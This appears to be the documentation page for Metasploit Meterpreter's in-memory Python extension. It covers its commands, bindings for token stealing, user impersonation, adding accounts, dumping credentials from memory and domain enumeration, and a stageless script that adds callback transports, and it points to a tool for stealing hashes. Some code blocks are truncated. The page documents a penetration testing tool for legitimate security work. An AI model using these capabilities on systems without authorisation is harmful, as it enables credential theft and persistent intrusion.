For quite some time, Meterpreter users have wanted the ability to run arbitrary scripts under the context of a session on the target machine. While Railgun gives coders the ability to execute arbitrary Win32 API calls, it doesn't really give them the ability to script the client in a single-shot.
Meterpreter now has a new extension that aims to solve this problem by providing a completely in-memory Python interpreter that can load scripts, run ad-hoc python commands, and also provides bindings to Meterpreter itself. The extension comes with many (but not _all_) of the built-in functionality you would expect to see in a running Python interpreter. This includes the likes of `ctypes` for easy automation of Win32-related functions. We've even taken steps to make this extension piggy-back onto `metsrv`'s copy of the SSL libraries in an effort to reduce the size of the resulting binary.
This page aims to document the features, show examples of how it can be used, and answer a few common questions that come up.
Unfortunately, at this point in time the extension only works inside x86 and x64 Meterpreters running on Windows targets. However, there are plans to enable this functionality on other implementations over time.
# Usage
As with any other extension that comes with Meterpreter, loading it is very simple:
python_reset Resets/restarts the Python interpreter
```
Each of these commands is discussed in detail below.
## python_execute
The `python_execute` command is the simplest of all commands that come with the extension, and provides the means to run single-shot lines of Python code, much in the same way that the normal Python interpreter functions from the command-line when using the `-c` switch. The full help for the command is as follows:
meterpreter > python_execute "print 'Hi, from Meterpreter!'"
[+] Content written to stdout:
Hi, from Meterpreter!
```
Notice that any output that is written to stdout is captured by Meterpreter and returned to Metasploit so that it's visible to the user. This also happens for anything written to stderr, as shown below:
The good thing is that the Python extension is persistent across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` parameter, as described by the help:
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
[+] x = [0, 5, 10, 15]
```
Note that this command requires the first parameter to be a string that contains code that needs to be executed. However, this string can be blank, resulting in no code being executed. This means that extraction of content generated in previous calls is still possible without executing more code, or rerunning previous code snippets just to make use of the `-r` parameter:
Behind the scenes, the result of the execution is a Ruby hash that contains all content written to stdout and stderr, and the content of the variable chosen using the `-r` parameter.
Sometimes, single-line execution isn't enough, or is cumbersome. The `python_import` command is provided to solve this problem and allow for scripts and modules to be loaded into the target from disk.
## python_import
This command allows for whole modules to be loaded from the attacker's machine an uploaded to the target interpreter. The full help is shown below:
Importing of module trees is still considered a _beta_ feature, but we encourage you to use it where possible and keep us informed of any issues you may face.
The aim of this is to determine all the local logical drives and put the letters into a list. From there it prints that list to screen. The result of running the script is as follows:
This command is also intended to allow for recursive loading of modules from the local attacker file system, however this feature is still not yet ready for prime time and work is still actively being done on this area.
It may get to a point where the content of the interpreter needs to be flushed. The `python_reset` command clears out all imports, libraries and global variables:
A number of bindings are available to the Python extension that allow for interaction with the Meterpreter instance itself. They are broken up into logical modules based on the functionality that they provide. Bindings are available for other extensions as well, and hence in order to use them, those extensions must be loaded. If an extension is not present, and error is thrown. As soon as an extension is loaded, the function should work. Each of the following subsections shows a module namespace that must be imported for that module to function correctly.
### Binding list
#### meterpreter.elevate
*`meterpreter.elevate.getsystem()` - maps directly to the `getsystem` command, however only attempts to use technique `1` because this is the only technique that doesn't require a binary to be uploaded.
*`meterpreter.elevate.rev2self()` - maps directly to the `rev2self` command.
*`meterpreter.elevate.steal_token(pid)` - provides the ability to steal a token from another process.
*`pid` - the identifier of the process to steal the token from.
*`meterpreter.elevate.drop_token()` - drops the token that was stolen using `steal_token`.
Each of the following functions takes the following parameters:
*`domain_name` - the name of the domain that will be enumerated.
*`max_results` - maximum number of results (default `None`).
*`page_size` - the size of the results page (default `None`).
The full list of available functions is as follows:
*`meterpreter.extapi.adsi.enum_dcs(domain_name, max_results, page_size)` - enumerate the domain controllers on the given domain.
*`meterpreter.extapi.adsi.enum_users(domain_name, max_results, page_size)` - enumerate users on the given domain.
*`meterpreter.extapi.adsi.enum_group_users_nested(domain_name, group_dn, max_results, page_size)` - enumerate users in the given group recursively.
*`group_dn` - The distinguished name of the group to enumerate.
*`meterpreter.extapi.adsi.enum_computers(domain_name, max_results, page_size)` - enumerate computers on the given domain.
*`meterpreter.extapi.adsi.domain_query(domain_name, query_filter, fields, max_results, page_size)` - provides a generic query mechanism to ADSI. All other functions in this library make use of this function.
*`query_filter` - the LDAP-formatted query filter for the query.
*`fields` - list of fields to extract from the query results.
#### meterpreter.fs
*`meterpreter.fs.show_mount()` - maps to the `show_mount` command and lists all logical drives on the target.
#### meterpreter.incognito (requires the incognito extension)
*`meterpreter.incognito.list_user_tokens()` - list all available user tokens.
*`meterpreter.incognito.list_group_tokens()` - list all available group tokens.
*`meterpreter.incognito.impersonate(user)` - impersonate the given user.
*`user` - name of the user/group to impersonate in `DOMAIN\user` format.
*`meterpreter.incognito.snarf_hashes(server)` - run the `snarf_hashes` functionality using the specified server.
*`server` - name of the server that is in place and ready to snarf the hashes.
*`meterpreter.incognito.add_user(server, username, password)` - add a user to the given server.
*`server` - name of the server to use when adding the user.
*`username` - name of the user to create.
*`password` - password for the new user.
*`meterpreter.incognito.add_group_user(server, group, username)` - add a user to a group (domain).
*`server` - name of the server to use when adding the user to a group.
*`group` - name of the group to add the user to.
*`username` - name of the user to add to the group.
*`meterpreter.incognito.add_localgroup_user(server, group, username)` - add a user to a group (local).
*`server` - name of the server to use when adding the user to a group.
*`group` - name of the group to add the user to.
*`username` - name of the user to add to the group.
#### meterpreter.kiwi (requires the kiwi extension)
*`meterpreter.kiwi.creds_all()` - matches the `creds_all` command from the kiwi extension and returns a full list of all credentials that can be pulled from memory.
#### meterpreter.sys
*`meterpreter.sys.info()` - matches the `sysinfo` command and shows system information.
*`meterpreter.sys.ps_list()` - matches the `ps` command and lists the processes on the target.
#### meterpreter.transport
*`meterpreter.transport.list()` - list all transports in the target.
*`meterpreter.transport.add(url, session_expiry, comm_timeout, retry_total, retry_wait, ua, proxy_host, proxy_user, proxy_pass, cert_hash)` - allows for transports to be added to the Meterpreter session. All but the `url` parameter come with a sane default. Full details of each of these parameters can be found in the [[transport|meterpreter-transport-control]] documentation.
Each of the examples above just show the results printed to stdout, however the values are returned as Python dictionaries and can be operated on just like normal variables.
## Stageless Initialisation
Not only can the extension be baked into a stageless Meterpreter, like any other extension, it also has the ability to run an arbitrary script before the Meterpreter session is even established! Consider the following script:
```
$ cat /tmp/met.py
import meterpreter.transport
meterpreter.transport.add("tcp://127.0.0.1:8000")
```
This is a simple script that uses the Meterpreter bindings to add a new transport to the list of transports. This is executed immediately before Meterpreter attempts to create a connection back to Metasploit for the first time. The intent is to show that it's possible to add any number of transports on startup.
To create a stageless payload that uses this script, we can make use of the `EXTINIT` parameter in `msfvenom`:
msf exploit(handler) > [*] Meterpreter session 2 opened (172.16.52.1:4445 -> 172.16.52.247:49159) at 2015-12-13 11:06:54 +1000
msf exploit(handler) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > transport list
Session Expiry : @ 2015-12-20 11:06:52
ID Curr URL Comms T/O Retry Total Retry Wait
-- ---- --- --------- ----------- ----------
1 tcp://127.0.0.1:8000 300 3600 10
2 * tcp://172.16.52.1:4445 300 3600 10
```
This stageless initialisation feature allows for long-running Python scripts to be run before Meterpreter even calls home. This is really handy in so many ways, so get creative and show us how awesome this can be.
Yes. The extension has a built-in import handler that loads modules from memory. This includes modules that the user has dynamically loaded using the `python_import` command. If a module doesn't exist as part of the extension then resolution will fail. Down the track we may look into extending this feature so that missing libraries are uploaded on-the-fly when an import fails, but it's not known when this work will get done.
> When will this extension be available for other Meterpreters?
We're not yet able to put a timeline on this.
> Is it possible to use the Python extension to run Responder?
Unfortunately, no it is not. Responder makes the assumption that port `445` is available for use on the target, which is why it functions nicely on \*nix systems that don't make use of this port by default. On Windows systems, port `445` is already in use by system services and hence can't be bound to.
There is a Powershell-based project that aims to do the same thing as Responder, and that is called [Inveigh][]. This utility piggy-backs of the existing SMB service, and appears to do quite a good job of stealing hashes, so it's recommended that this be used instead.
> Is it perfect?
Hell no! But the goal is to get closer and closer to perfect as we go. It's up to you to help us improve it along the way by using it in interesting ways, and submitting bugs when it breaks.
> Can I suggest a feature?
Please do, making good use of the Github issues feature. Better still, create a PR for one!